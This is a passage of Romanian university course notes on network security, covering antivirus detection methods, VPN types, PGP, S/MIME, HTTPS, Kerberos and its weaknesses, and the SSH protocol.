Control Redundant Ciclic este o metodă matematică folosită pentru a verifica integritatea datelor. Este o formă de
sumă de control, ce se bazează pe teoria polinoamelor de lungime maximă.
În general sunt două moduri în care un antivirus identifică un program malware: detecţie pe
bază de semnături şi detecţia bazată pe comportament.
Detecţia pe bază de semnătură funcţionează similar sistemului imunitar al omului. El
scanează calculatorul pentru caracteristici sau semnături ale programelor cu funcţionare dăunătoare
cunoscute. Scanarea se face prin referirea la un dicţionar de programe malware cunoscute: dacă
ceva din calculator se potriveşte cu unul din tiparele conţinute în dicţionar, antivirusul încearcă să-l
neutralizeze. Asemeni sistemului imunitar uman, abordarea bazată pe dicţionar necesită actualizări,
cum sunt vaccinurile pentru gripă, ca să poată asigura protecţia necesară faţă de noi versiuni de
malware. Antivirusul poate oferi protecţie faţă de ceea ce poate recunoaşte ca fiind periculos.
Problema este că răufăcătorii dezvoltă noi versiuni de malware într-un ritm atât de rapid încât
furnizorii de soluţii antivirus nu reuşesc să ţină pasul cu ei. Ca o consecinţă, indiferent cât de recent
actualizat este programul antivirus, va exista întotdeauna o variantă de malware care poate ocoli
protecţia oferită de antivirus.
Cu mecanismul de detecţie bazat pe comportament, antivirusul nu încercă să detecteze un
program malware cunoscut ci monitorizează comportamentul în funcţionare a programelor software
instalate pe calculator. Atunci când un program are o funcţionare suspectă, cum ar fi încercarea de
accesare a fişierelor protejate sau modificarea altui program, antivirusul detectează comportamentul
suspect şi alertează asupra acestuia. Această abordare oferă protecţie faţă de cele mai noi tipuri de
malware care nu sunt încă incluse în niciun dicţionar. Problema acestei abordări este că poate
genera atenţionări false. Utilizatorul calculatorului ar putea fi nesigur pe ce să permită sau nu şi, în
timp, să devină neutru faţă de toate aceste atenţionări. El ar putea fi tentat să dea clic pe „Acceptă“
la toate notificările, lăsând astfel calculatorul vulnerabil la atacuri şi infectare. În plus, în momentul
când comportamentul suspect este semnalat, programul malware cel mai probabil că este deja
instalat şi se execută pe calculator şi nu avem de unde şti ce a făcut până când a fost detectat de
către antivirus.
Antivirusul este o componentă importantă a securităţii calculatorului sau a dispozitivului
mobil, fiind parte importantă a securității rețelei unei întreprinderi. Cele mai performante soluții de
acest fel la ziua de azi includ următoarele facilități:
scanare malware on-demand;
scanarea malware on-access;
website rating;
blocarea URL-ului rău intenționat;
protecția împotriva phishing-ului;
detectarea bazată pe comportament
scanarea la vulnerabilități.
Cu toate astea, esenţialul este de reținut că, indiferent de modul cum funcţionează programul
antivirus folosit, acesta nu poate proteja mereu faţă de orice tip de malware.
În general, în cazul implementării unei tehnologii VPN între sediile companiei, este de
preferat să se apeleze la acelaşi furnizor de Internet pentru toate locaţiile. Apropierea geografică de
regulă nu are nici o legătură cu “apropierea pe Internet”.
Prin utilizarea de echipamente dedicate şi criptare pe scară largă, o companie poate conecta
multe locaţii (sucursale) fixe pe o reţea publică cum ar fi Internetul. VPN-ul tip site-to-site poate fi
de două tipuri, şi anume: Intranet VPN și Extranet VPN.
VPN-urile intranet (Intranet VPN, figura 11.3) permit extinderea rețelelor private
prin Internet sau alt serviciu de rețea publică intr-o manieră securizată;
VPN-urile extranet (Extranet VPN, figura 11.4) permit conexiuni securizate între
toate tipurile de utilizatori.
VPN implementată pe intranet reprezintă reţeaua virtuală privată între sediile şi
departamentele aceleiaşi firme. Intranet-ul este definit ca o legătură semi-permanentă peste o reţea
publică între un WAN şi o filială a companiei. Aceste tipuri de conexiuni LAN-LAN se presupune
că au cel mai mic risc din punct de vedere al securităţii pentru că firmele au încredere în filialele lor.
În astfel de cazuri compania are control asupra reţelei/nodurilor destinaţie cât şi asupra celei sursă.
Administratorii de sistem trebuie să decidă dacă această situaţie este întâlnită şi în propria rețea
locală.
Într-o reţea privată cantităţi mari de date sunt schimbate frecvent între LAN-uri, deci
importantă este viteza de transmisie şi interoperabilitatea. LAN-urile care sunt conectate prin
intermediul unor baze de date centralizate sau prin alte resurse de calcul răspândite în reţeaua firmei
ar trebui să fie considerate ca făcând parte din aceeaşi reţea. Motivul principal pentru care
majoritatea organizaţiilor se orientează către tehnologia VPN este costul redus al acestei
implementări.
VPN implementată pe extranet reprezintă reţeaua virtuală privată care este relativ izolată
faţă de intranet. Extranet-ul este destinat comunicării cu partenerii, clienţii, furnizorii şi cu angajaţii
la distanţă. Securizarea unei reţele de dimensiuni mari necesită îndrumări şi instrumente adecvate.
Un VPN extranet trebuie să ofere o ierarhie a securităţii şi accesarea datelor confidenţiale să se facă
sub cel mai strict control. Principalul obiectiv al unui Extranet sau al VPN-ului între companii este
să se asigure că datele secrete ajung intacte şi exact cui îi sunt adresate fără a exista riscul de a
expune resursele protejate unor eventuale ameninţări, aşa că firmele ar trebui să ia în considerare
cele mai avansate soluţii de VPN.
Un Extranet VPN sigur este acela în care o companie împarte informaţii cu clienţii,
partenerii, furnizorii şi angajaţii aflaţi la distanţă prin intermediul reţelei publice stabilind legături
unidirecţionale de la un capăt la altul printr-un server VPN. Acest tip de sistem permite unui
administrator de reţea să definească drepturi specifice, cum ar fi cele ce ar permite unui membru din
conducerea unei firme partenere să acceseze diferite/anumite rapoarte de vânzări de pe un server
protejat. Acest tip de acces nu este posibil cu orice tip de soluţie VPN.
Într-o situaţie reală de interconectare între parteneri de afaceri, administratorii trebuie să
caute o soluţie de VPN care să filtreze accesul la resurse în funcţie de cât mai multe parametrii
posibili, inclusiv sursa, destinaţia, utilizarea aplicaţiei, tipul de criptare şi autentificare folosit, şi
identităţile individuale şi de grup. Managerii de sistem trebuie să identifice utilizatorii individual,
nu numai adresele IP, fie prin parole, token card, smart card, sau orice alta metode de autentificare.
Parolele sunt de obicei suficiente pentru o aplicaţie obişnuită de birou, dar nu sunt la fel de sigure
precum token-urile sau smart cardurile.
Reţelele private virtuale folosesc Internet-ul pentru a conecta mai multe reţele LAN între
ele, printr-o conexiune sigură. Conexiunile VPN realizează acest lucru cu două procese importante:
crearea de tunele şi securizarea. Mai întâi, o reţea VPN creează un circuit „virtual” între cele două
puncte conectate, prin intermediul Internetului. Apoi, foloseşte metoda creării de tunele pentru a
înfăşura datele în protocolul TCP/IP, astfel încât să poată fi transportate cu uşurinţă. Prin securizare
se înţelege criptarea şi încapsularea pachetelor trimise, astfel încât numai destinatarul căreia i se
adresează să le poată decodifica şi citi.
Specificaţiile pentru reţeaua VPN au la bază principiul flexibilităţii maxime și realizarea cât
mai rapidă. În acest scop se au în vedere implementarea a două soluţii:
soluţie bazată pe circuite virtuale PPTP, uşor de pus în funcţiune şi de utilizat, dar
limitată la sistemul de operare Windows și cu securitate mai redusă, dar acceptabilă,
evoluţia, în măsura posibilităţilor, către o soluţie mult mai performantă bazată pe o
„reţea virtuală OpenVPN”.
OpenVPN este o reţea privată virtuală (VPN) conformă protocolului de criptografie Secure
Sockets Layer (SSL) care asigură comunicaţii sigure pe Internet, permite metode de autentificare
flexibile ale clienţilor bazate pe certificate şi permite politici de control a accesului utilizatorilor
folosind reguli de firewall aplicate interfeţei VPN virtuale.
Pentru VPN-ul nativ din Windows (server) sau alte dispozitive comerciale (Cisco) există
suport tehnic, dar în schimb costă mult.
11.7. Firewall
Obiectivele temei:
Analiza protocoalelor la Nivelul Aplicație.
Analiza protocoalelor la Transport.
Analiza protocoalelor la Nivelul Rețea.
Analiza protocoalelor la Nivelul Legătură de Date.
Cuvinte-cheie:
PGP, SET, VPN,
S/MIME, KERBEROS, PPP,
S-HTTP, TLS/SSL, RADIUS
HTTPS, IPSec,
Protocoale de rețea de bază IP, TCP, UDP, BGP, DNS nu mai pot asigura nivelul necesar de
securitate, fiind pasibile diverselor atacuri, iar cerința și aspirația de asigurare a securității și a
caracterului privat al informației au condus la elaborarea și implementarea mai multor protocoale și
standarde de securitate, printre care se numără: protocoalele Secure Socket Layer (SSL) și Secure
Transport Layer (TLS), Internet Protocol Security (IPSec), Secure HTTP (S-HTTP), protocoale de
securitate pentru e-mail (PGP și S / MIME), DNDSEC, SSH și altele. Aceste protocoale au ca
obiectiv asigurarea securității informației pe întreaga stivă a protocolului TCP/IP.
26
configurarea după necesități a PGP-ului - setările variabilelor din fișierul de configurare a
PGP-ului pot fi schimbate;
folosirea serverelor de chei PGP de pe Internet – există posibilitatea de a adăuga o cheie
publică la o bază de date server sau de a obține alte chei publice care se află pe server.
Securitatea mesajelor în PGP este asigurată de criptografia cu cheie privată, numită de PGP
criptografie convențională. PGP-ul nu reclamă un schimb prealabil de chei între utilizatori. El
folosește o combinație a sistemului criptografic simetric și cu chei publice: sistemul simetric este
utilizat pentru cifrarea conținutului scrisorilor sau fișierelor, iar sistemul asimetric RSA - pentru
protecția și distribuția cheii K de unică întrebuințare (numită și cheie de sesiune) cu care se face
cifrarea simetrică a scrisorii, precum și pentru autentificarea prin semnătură digitală a mesajului și a
emițătorului.
La emisia unei scrisori, atunci când sunt folosite atât serviciile de confidențialitate cât și de
autenticitate, PGP execută următoarele prelucrări:
folosindu-se un algoritmul de hash, se creează un cod de autentificare MAC (Message
Authentication Code):
MAC = MD5 (Mesaj);
prin cifrarea cu cheia secretă SKA a emițătorului A al scrisorii, folosindu-se algoritmul RSA,
se creează semnătura digitală pentru autentificarea mesajului și a originii sale:
S = RSA (MAC, SKA);
scrisoarea este comprimată, utilizând unul din algoritmii ZIP, ZLIB, BZIP2. Acest lucru
asigură o reducere a volumului de date ce trebuie cifrate și apoi transmise:
Mesaj-comprimat = zip (Mesaj);
se generează pseudoaleator o cheie de cifrare K (folosită doar pentru acest mesaj), numită
cheie de sesiune:
K= random();
mesajul comprimat anterior este apoi cifrat cu ajutorul unuia dintre algoritmii simetrici
incluși în protocol, folosindu-se cheia generată în pasul precedent:
mesaj-cifrat = EK(Mesaj-comprimat);
folosind RSA cu cheia publică PKB a destinatarului B al scrisorii, se pune în anvelopă cheia
de sesiune pentru a putea fi trimisă în mod sigur la receptor. Acest lucru înseamnă cifrarea
cheii de sesiune cu cheia publică a destinatarului:
Cheie-sesiune-anvelopată = RSA (Cheie-sesiune, PKB);
se creează scrisoarea protejată, în vederea transmiterii ei la destinație, folosind servicii
obișnuite de e-mail:
scrisoare-protejată = [Key-ID, S, Data-semnătură, Cheie-sesiune-anvelopată, Mesaj-cifrat]
27
12.1.2. S/MIME
S/MIME (Secure Multi-Purpose Internet Mail Extensions) este o altă metodă sigură de
trimitere a mesajelor e-mail care utilizează sistemul de criptare RSA. S/MIME este inclus în cele
mai recente versiuni ale browserelor Web de la Microsoft și Netscape și a fost, de asemenea,
aprobat de alți furnizori care fac produse de mesagerie. RSA a propus S/MIME ca standard pentru
Internet Engineering Task Force (IETF).
MIME în sine, descrisă în standardul IETF numit Request for Comments (RFC) 1521,
precizează modul în care va fi organizat un mesaj electronic. S/MIME descrie modul în care
informația ce trebuie criptară și certificatul digital pot fi incluse ca parte a corpului mesajului.
S/MIME urmărește sintaxa furnizată în formatul #7 al standardului criptografiei cu cheie publică
descris în RFC 2315.
Utilizarea corectă a standardului S/MIME impune însă anumite restricții asupra utilizării
aplicațiilor tradiționale de e-mail și a mediului de lucru în care sunt utilizate:
expeditorul și destinatarul trebuie să convină asupra utilizării aplicațiilor de e-mail client
care acceptă acest standard; în caz contrar, clientul de e-mail al destinatarului afișează în
scrisori fișierele-atașamente „smime.p7s”, pe care destinatarul, în mod normal, nu le
poate interpreta corect;
utilizarea eficientă a S/MIME necesită o abordare integrată a securității; aceasta
înseamnă că este necesar ca mesajele să fie protejate nu numai de-a lungul căii de la
expeditor la destinatar, ci și în mediul de lucru al expeditorului și al destinatarului; în
special, nerespectarea acestei cerințe poate duce la scurgerea informațiilor confidențiale
sau la modificarea neautorizată a mesajelor, precum și la compromiterea cheilor secrete
direct pe computerele utilizatorilor;
S/MIME este, în principiu, incompatibilă cu serviciul de e-mail; acest lucru se datorează
faptului că criptografia cu chei publice, care stă la baza standardului S/MIME, protejează
confidențialitatea și integritatea mesajelor în drumul de la expeditor spre destinatar; în
același timp, confidențialitatea și integritatea mesajelor sunt inaccesibile în utilizarea
tradițională a mesajelor Web, deoarece furnizorul de servicii de e-mail are capacitatea de
a citi mesajele și de a le modifica; în același timp, încercările de a utiliza semnarea sau
criptarea mesajelor pe partea de server reprezintă o compromitere a cheilor secrete ale
utilizatorului; în plus, principalul avantaj al serviciului de e-mail - disponibilitatea
acestuia de pe orice computer în care există un browser web - este contrar cerinței de a
controla securitatea mediului de lucru atunci când se utilizează S/MIME.
12.1.3. S-HTTP
28
Protocolul nativ pe care clienții și serverele World Wide Web le utilizează pentru a
comunica este HTTP (Hypertext Transfer Protocol). HTTP este ideal pentru comunicații deschise,
dar nu oferă caracteristici de autentificare și criptare. S-HTTP a fost dezvoltat pentru a funcționa
împreună cu HTTP pentru a permite clienților și serverelor să se angajeze în tranzacții private și
sigure. S-HTTP este util în special pentru criptarea informațiilor bazate pe formulare pe măsură ce
acestea trec între clienți și servere, criptarea fiind realizat[ numai la mesaje de nivel HTTP.
S-HTTP nu a fost niciodată pe deplin acceptat de furnizorii de browsere web, cum ar fi
Microsoft și Netscape, totuși, S-HTTP este suportat de un șir de astfel de produse. Aceasta suportă
o varietate de algoritmi criptografici și regimuri de lucru. Mesajele pot fi protejate prin utilizarea
semnăturilor digitale, autentificării și criptării. La primul contact, expeditorul și receptorul stabilesc
preferințele pentru criptare și manipulare a mesajelor securizate.
Pot fi utilizate un șir de algoritmi de criptare și tehnici de securitate, inclusiv criptarea DES
și RC2 sau semnarea cheilor publice RSA. În plus, utilizatorii pot alege să utilizeze un anumit tip de
certificat sau niciun certificat. În cazurile în care certificatele de cheie publică nu sunt disponibile,
este posibil ca expeditorul și receptorul să utilizeze o cheie de sesiune pe care au convenit-o în
prealabil. Este disponibil de asemenea și un mecanism challenge/response.
12.1.4. HTTPS
HTTPS (Secure Hyper Text Transfer Protocol) este un protocol de comunicație destinat
transferului de informație criptată prin intermediul WWW, care a fost dezvoltat de Netscape
Communications pentru browserul Netscape Navigator în 1994 din necesitatea de a proteja de
intruşi transferul datelor prin HTTP. HTTPS nu este altceva decât HTTP „încapsulat” cu ajutorul
unui flux SSL/TLS - datele sunt criptate la server înainte de a fi trimise clientului. Pe scurt,
HTTPS = HTTP + SSL.
HTTPS este în acelaşi timp o metodă de autentificare a server-ului web care îl foloseşte, prin
intermediul „certificatelor digitale” - dacă certificatul este emis de o autoritate cunoscută, browser-
ul poate fi sigur că server-ul cu care comunică este ceea ce pretinde a fi.
Adresa URL HTTPS implicită utilizează portul TCP 443 (HTTP neprotejat utilizează portul
80). Pentru a pregăti un server web să manipuleze conexiunile https, administratorul trebuie să
obțină și să instaleze un certificat de cheie publică pentru acest server. TLS utilizează atât o schemă
de criptare asimetrică (pentru generarea unei chei secrete partajate), cât și o metodă simetrică
(pentru schimbul de date, criptată cu o cheie partajată). Certificatul de cheie publică confirmă faptul
că această cheie publică aparține proprietarului site-ului. Certificatul de cheie publică și cheia
publică în sine sunt trimise clientului la stabilirea unei conexiuni; cheia privată este utilizată pentru
a decripta mesajele de la client.
29
Este posibilă crearea unui astfel de certificat fără contactarea autorității de certificare. Aceste
certificate sunt semnate de ele însăși și se numesc auto-semnate (self-signed), însă fără a verifica
certificatul în alt mod (cum ar fi un apel către proprietar și verificarea sumelor de control ale
certificatului), o astfel de utilizare a HTTPS este supusă unui atac man-in-the-middle. Aproape toate
certificatele însă sunt verificate de o terță parte, astfel încât clienții să fie asigurați că cheia este
întotdeauna securizată.
HTTPS poate fi, de asemenea, utilizat pentru a autentifica clientul în scopul de a oferi acces
la server numai utilizatorilor autorizați. Pentru a face acest lucru, administratorul creează de obicei
certificate pentru fiecare utilizator și le încarcă în browser-ul fiecăruia din ei. Vor fi acceptate de
asemenea toate certificatele semnate de către organizațiile de încredere a serverului. Un astfel de
certificat conține de obicei numele și adresa de e-mail a utilizatorului autorizat, care sunt verificate
la fiecare conexiune pentru a verifica identitatea utilizatorului fără a introduce o parolă.
În HTTPS, lungimea cheii este de 40, 56, 128 sau 256 de biți pentru criptare. Unele versiuni
mai vechi ale browserelor utilizează lungimea cheii de 40 de biți (de exemplu versiunile IE de până
la 4.0), care se datorează restricțiilor de export în SUA, însă această lungime a cheii nu mai este
sigură. Multe site-uri moderne necesită utilizarea browserelor de noi versiuni, care susțin criptarea
cu o cheie de lungime de 128 de biți, pentru a asigura un nivel adecvat de securitate. Această
criptare face pentru un atacator foarte dificilă căutarea parolelor și a altor informații personale.
În mod tradițional, un singur site HTTPS poate funcționa pe o singură adresă IP. Pentru a
opera mai multe site-uri HTTPS cu certificate diferite, este utilizată o extensie TLS denumită Server
Name Indication (SNI).
Schema generală de funcționare a HTTPS constă în următoarele:
atunci când se utilizează o conexiune https, serverul răspunde la conexiunea inițială,
oferind o listă de metode de criptare acceptate de serverul web;
ca răspuns, clientul selectează o metodă de conectare;
clientul și serverul fac schimb de certificate pentru a-și autentifica identitatea;
atât serverul web, cât și clientul fac schimb de informațiile criptate după ce se
asigură că ambele utilizează aceeași cheie și conexiunea este închisă.
12.1.5. KERBEROS
Protocolul Kerberos a fost proiectat la Massachusetts Institute of Technology (MIT), în jurul
anului 1984 pentru a proteja serviciile de reţea oferite de proiectul Athena. Scopul protocolului
Kerberos era să extindă noţiunea de autentificare, autorizare şi contabilizare a mediului MIT.
Kerberos a fost proiectat pe baza modelului client-server și asigură autentificarea mutuală,
adică atât utilizatorul cât și serverul se autentifică unul față de celălalt. În terminologia Kerberos, un
domeniu administrativ se numeşte realm. Se presupune că orice companie sau organizaţie care
30
doreşte să ruleze Kerberos poate crea un realm identificat unic printr-un nume. Teoretic, Kerberos
poate suporta mai bine de 100.000 de utilizatori. El se bazează pe modelul client/server, iar
protocolul în sine constă dintr-un schimb de mesaje între un client şi o serie de servere, fiecare cu o
altă misiune.
Utilizatorii, clienţii şi serviciile de reţea instanţiate pe un host în particular se consideră în
mod tipic parteneri. Fiecare partener este identificat în mod unic de un identificator de partener,
care are în componenţă trei câmpuri, fiecare fiind un şir terminat cu null de până la 40 de caractere.
Aceste trei câmpuri sunt:
numele partenerului, NAME;
numele instanţei, INSTANCE;
numele realm-ului, REALM.
Mesajele protocolului Kerberos sunt protejate împotriva atacurilor de ascultare
(eavesdropping) și de reluare a mesajelor (replay), scopul sistemului Kerberos fiind acela de a
permite unui client ce rulează în numele unui utilizator anume să se identifice unui serviciu sau unui
server de aplicaţii corespunzător, fără a se necesita trimiterea unor date secrete care ulterior să poată
fi folosite de un atacator la personificarea utilizatorului. Pentru a realiza acest lucru, modelul
Kerberos necesită existenţa unui terţ de încredere care serveşte ca centru de distribuţie a cheilor
(KDC) în realm-ul Kerberos. Kerberos utilizează tehnici simetrice de criptare și oferă un sistem de
mesaje criptate numite bilete (tickets), care asigură în mod securizat încrederea reciprocă dintre
două entități din rețea. Utilizând Kerberos, parolele nu mai sunt transmise prin rețea, nici măcar
criptate. În cazul în care un bilet Kerberos este interceptat acesta rămâne protejat deoarece este
criptat cu algoritmi robuști de criptare. Odată ce o entitate-client obține un bilet către un anume
server, biletul este păstrat pe calculatorul local până la expirare, făcând astfel din Kerberos un
sistem de autentificare foarte eficient. Depinde de implementare, dar în mod uzual un bilet Kerberos
expiră după opt ore. Fiecare entitate din rețea, fie client, fie server, deține o cheie secretă, cunoscută
doar de ea și de KDC. Această cheie constituie dovada identității unei entități. Pentru o comunicare
sigură între două entități din rețeaua publică, KDC generează o cheie a sesiunii. Pentru
implementarea protocolului Kerberos trebuie acordată o atenție deosebită stocării parolelor fiecărui
client, motiv pentru care serverul central trebuie să fie o maşină foarte sigură. KDC menţine o bază
de date cu informaţii despre fiecare partener din cadrul sistemului. Deoarece securitatea este foarte
importantă, această informaţie este redusă la un minim posibil pentru a efectua cu succes
autentificarea. Astfel, deşi baza de date Kerberos este la nivel de utilizator, aceasta nu conţine
informaţii cum ar fi numere de telefon sau adrese, neutilizate în mod curent la autentificare, ci
următoarele:
identificatorul partenerului;
31
cheia master Kp (sau parola dacă este utilizator);
data expirării identităţii;
data ultimei modificări a înregistrării;
identitatea partenerului care a operat modificarea;
timpul maxim de viaţă a biletelor emise partenerului;
unele atribute;
unele date interne de implementare invizibile la exterior cum ar fi versiunea cheilor,
versiunea cheii master sau indicatori către valori vechi ale înregistrării.
Cheia master (Kp) a fiecărui partener trebuie ţinută secretă, de aceea toate aceste chei
se codifică cu o cheie master a KDC. Pe lângă o protecţie sporită, această metodă permite
distribuirea bazei de date între servere fără riscul de a fi capturată de un potenţial atacator. Cheia
master KDC nu se păstrează în aceeaşi bază de date, ci se operează separat.
Un centru de distribuție a cheilor are două părți:
un server de autentificare (Authentication Server - AS);
un server de alocare a biletelor (Ticket Granting Server - TGS).
AS şi TGS sunt componente separate logic dar pot fi procese care rulează pe aceeaşi
maşină. Aceasta trebuie să fie protejată cu grijă şi securizată fizic, deoarece un intrus ar putea
compromite uşor întreg sistemul de la acest nivel. Un bilet este un certificat emis de KDC şi
criptat cu cheia master a serverului. Printre altele, un bilet conţine:
cheia de sesiune care va fi utilizată pentru autentificarea între client şi server;
numele partenerului către care cheia de sesiune a fost emisă;
un timp de expirare după care cheia de sesiune nu mai este validă.
În procesul de funcționare a protocolului, sunt utilizate următoarele:
serverul TGS (Ticket Granting Server) - oferă bilete de tip sesiune pentru accesarea altor
resurse. De obicei, TGS rulează în KDC;
biletul TGT (Ticket Granting Ticket) reprezintă un jeton de validare a unui bilet Kerberos
care atestă faptul că o entitate a fost deja autentificată și ne asigură că utilizatorii nu mai
trebuie să reintroducă parola după un login inițial, până la expirarea biletului;
biletul de sesiune ST (Session Ticket) reprezintă un jeton de sesiune care permite accesul la
resurse protejate. Pentru accesarea oricărei aplicații care utilizează Kerberos este necesar un
bilet de sesiune valid.
Pentru a realiza autentificarea protocolul Kerberos parcurge câteva etape:
1. Utilizatorul unui sistem client, utilizând un username și o parolă sau un smart card, se
autentifică față de server-ul de autentificare (AS din KDC). Clientul de login furnizează AS
numele, iar AS caută intrarea corespunzătoare utilizatorului în baza de date KDC.
32
2. Cu parola cerută de client utilizatorului se va cripta TGT. Dacă cheia derivată din parola
utilizatorului poate decripta cu succes TGT, acestuia i se permite accesul. Pe partea de
client, TGT-ul este memorat pentru folosire ulterioară şi anume pentru a obţine bilete pentru
autentificarea în servicii de reţea particulare. Scopul principal al TGT este deci să faciliteze
o singură autentificare pentru utilizatori. Parola este astfel cerută o singură dată, şi nu de
fiecare dată când se cere accesul la un serviciu.
3. Biletele sunt eliberate de TGS-ul specificat în TGT-ul primit de utilizator. Pentru a obţine un
bilet, clientul trimite o cerere către TGS.
4. Dacă TGS consideră atât biletul cât şi autentificatorul valid, biletul este returnat. Mesajul
include numele serviciului cerut, TGT-ul şi autentificatorul. Acesta din urmă este o
informaţie ce poate proba că a fost generată recent, utilizând cheia de sesiune de către client
şi server împreună. În particular, autentificatorul conţine numele utilizatorului, adresa de
reţea a clientului şi timpul curent, fiind criptat cu cheia de sesiune returnată în TGT.
Autentificatorul descurajează atacurile replay.
5. Clientul creează un alt autentificator şi îl trimite împreună cu biletul de serviciu serverului.
6. Dacă se cere autentificare reciprocă, serverul returnează un autentificator.
Aşa cum a fost menționat, modelul Kerberos nu oferă decât serviciul de autentificare. În
sine, el nu oferă informaţii despre autorizarea clientului în a folosi anumite servicii de reţea. În
general, sunt trei posibilităţi pentru atingerea problemei autorizării, şi anume:
baza de date Kerberos ar putea conţine informaţii de autorizare pentru fiecare serviciu şi
să emită bilete doar utilizatorilor autorizaţi;
un serviciu dedicat poate menţine informaţiile de autorizare prin liste de acces pentru
fiecare serviciu şi permiterea clientului să obţină certificate sigilate de apartenenţă la
listă; în acest caz clientul ar prezenta serviciului certificarea în locul biletului Kerberos;
fiecare serviciu poate menţine propria informaţie de autorizare cu ajutorul opţional al
unui serviciu care stochează aceste liste de acces şi oferă certificări de apartenenţă la
listă.
Modelul Kerberos se bazează pe faptul că fiecare serviciu cunoaşte cu exactitate cine sunt
utilizatorii săi şi ce formă de autorizare este potrivită pentru aceştia. În consecinţă Kerberos
foloseşte cea de-a treia metodă. Pentru simplificarea implementării celei de a treia metode,
Kerberos foloseşte modelul de autorizare bazat pe liste de control al accesului. Orice serviciu care
consideră că i se potriveşte acest tip de autorizare poate încorpora o bibliotecă cu funcţii adecvate.
Utilizarea acestui model presupune că serviciul verifică dacă o identitate verificată aparţine unei
liste de acces.
33
Primele trei versiuni ale Kerberos au fost folosite doar în cadrul MIT, în prezent nemaifiind
folosite. Prima versiune făcută publică a fost Kerberos V4, versiune ce a cunoscut o răspândire
importantă în afara MIT. Deoarece unele medii necesitau funcţionalităţi neacoperite de Kerberos
V4, iar altele aveau o structură diferită de modelul MIT, în 1989 a început lucrul la Kerberos V5. În
septembrie 1993, Kerberos V5 a fost specificat ca standard Internet în RFC 1510. MIT a dezvoltat
şi testat Kerberos V5 pe Ultrix, SunOS, Solaris şi Linux, fiind portat şi pe alte sisteme de către terţi.
Deşi similare ca şi concept, Kerberos V4 şi V5 sunt substanţial diferite şi chiar sunt în competiţie
pentru dominaţia pe piaţă. Pe scurt, Kerberos V4 are o bază de instalare mai mare, este mai simplu
şi are o performanţă mai mare decât V5, însă lucrează doar cu adrese IP. Kerberos V5 pe de altă
parte, are o bază de instalare mai redusă, este mai complicat şi implicit mai puţin eficient, dar
prezintă mai multă funcţionalitate decât V4. În ciuda faptului că este disponibil codul sursă pentru
Kerberos V4 şi V5, MIT nu-l susţine oficial şi nu oferă suport. Unele companii însă oferă contra
cost versiuni comerciale de implementări Kerberos. Informaţii despre versiunile freeware şi
comerciale se găsesc în Kerberos FAQ publicat periodic în grupul de ştiri comp.protocols.kerberos.
Deşi Kerberos este foarte util şi mult folosit pentru autentificare, el are o serie de slăbiciuni:
Kerberos este proiectat pentru autentificări utilizator-host şi nu host-host. Ca urmare,
folosirea acestui protocol de autentificare cere ca fiecare host să rețină cheile secrete
(master) KA ale tuturor celorlalte host-uri; însă se ştie că multe dintre ele reprezintă medii
foarte nesigure pentru memorarea pe termen lung a unor informații secrete. Dacă un intrus
ar fura o cheie primară, s-ar putea pretinde utilizator principal şi ar putea ataca orice server.
O altă problemă este legată de bilet şi de cheia de sesiune. Din nou, calculatoarele multiuser
nu sunt bune pentru a păstra chei secrete în ele; oricine care poate citi o cheie de sesiune,
poate să o folosească pentru a se legitima drept o altă persoană. De asemenea, biletul poate
fi obținut prin ascultarea liniei şi, ca urmare, se pot obține accese la server-e fără drepturi
reale.
Autentificatorii reprezintă şi ei o problemă vulnerabilă. Dacă host-ul nu ține o evidență a
autentificatorilor folosiți anterior, un intrus poate folosi un autentificator vechi, desigur însă
în limitele unor intervale de timp de expirare. De asemenea, se pot face anumite penetrări
făcând host-ul să aibă marcată o dată curentă mai veche.
Cea mai importantă problemă o reprezintă modul în care se obține biletul inițial. Aceasta
deoarece cererea biletului pentru TGS nu conține în protocol nici un fel de informație de
autentificare, cum ar fi, de exemplu, numele cifrat al utilizatorului. Mesajul răspuns al lui
Kerberos este potrivit unui atac: un atacator situat la distanță în Internet poate să-şi
construiască o colecție de bilete cifrate şi poate să încerce un asalt cu ele. Ultima versiune a
protocolului Kerberos (v5) conține mecanisme pentru a preveni acest lucru.
34
Kerberos nu rezolvă atacurile de tip “ghicire a parolei”. Dacă un utilizator a ales o parolă
simplă, atacatorul poate reuşi într-un atac de tipul celui cu dicționarul.
Kerberos nu rezolvă problemele de atacuri la servicii. Astfel de protocoale sunt necesare
atunci când un intrus împiedică o aplicație să funcționeze în paşii de autentificare specificați.
Detectarea şi soluționarea unor astfel de atacuri – unele dintre lele părând a fi o defecțiune
obişnuită a sistemului – sunt lăsate în seama administratorului sau a utilizatorilor.
12.1.6. SSH
Secure Shell (SSH) este un protocol criptografic de rețea care permite ca datele să fie
transferate folosind un canal securizat între dispozitive dintr-o anumită rețea. Cele două mari
versiuni ale protocolului sunt SSH1 și SSH2. Protocolul SSH este folosit cu precădere în sistemele
de operare Linux, Unix și Windows. SSH a fost dezvoltat din dorința de a înlocui vechiul protocol
Telnet și al altor protocoale nesigure de acces de la distanță, care trimit informația, în special parola,
în text clar, făcând posibilă descoperirea ei prin analiza traficului. Criptarea folosita de SSH
intenționează să asigure confidențialitatea și integritatea datelor transmise printr-o rețea nesigură
cum este Internetul.
Scopul principal al protocolului SSH este de a îmbunătăți securitatea în rețea, încearcând să
facă acest lucru prin securizarea canalului prin care sunt transmise informațiile între participanți.
Pentru a asigura confidențialitatea și integritatea informațiilor interschimbate, SSH se folosește de
criptarea cu chei asimetrice. Utilizatorul deține o pereche de chei: una publică și una privată. În
timp ce cheia publică se trimite stației de la distanță cu care se dorește comunicarea, cea privată
rămâne tot timpul pe stația locală și trebuie protejată de public. Cheia publică trebuie trimisă stației
de la distanță pentru ca aceasta să o poată folosi la decriptarea datelor primite în format securizat.
35
Protocolul SSH este format din trei componente majore (figura 12.1): Transport Layer –
protocol care prevede autentificarea serverului, confidențialitatea și integritatea perfectă a
secretului. La nivelul acestui strat, dacă utilizatorul are o cheie care a fost compromisă din diverse
motive aceasta nu afectează securizarea sesiunilor anterioare. User Authentication – protocol care
autentifică clientul care dorește să folosească tunelul în conexiunea cu serverul. Connection
Protocol – acest protocol multiplexează tunelul criptat în mai multe canale logice. Aceste canale
sunt deasupra conexiunii SSH.
Comunicarea dintre client și server folosind protocolul SSH se realizează parcurgând câțiva
pași:
1. primul pas constă în autentificarea clientului spre server. Întotdeauna clientul este cel
care inițiază conexiunea; După ce serverul este autentificat, iar clientul este sigur de
identitatea serverului, se formează un canal securizat simetric între client și server care
va fi utilizat pentru schimbul de chei, parole și alte lucruri;
2. se realizează conexiunea TCP spre portul 22 ( port oficial asignat protocolului SSH); la
acest pas clientul obține informații referitoare la versiunea protocolului suportată de
server și versiunea protocolului SSH; în cazul în care clientul nu suportă versiunea SSH
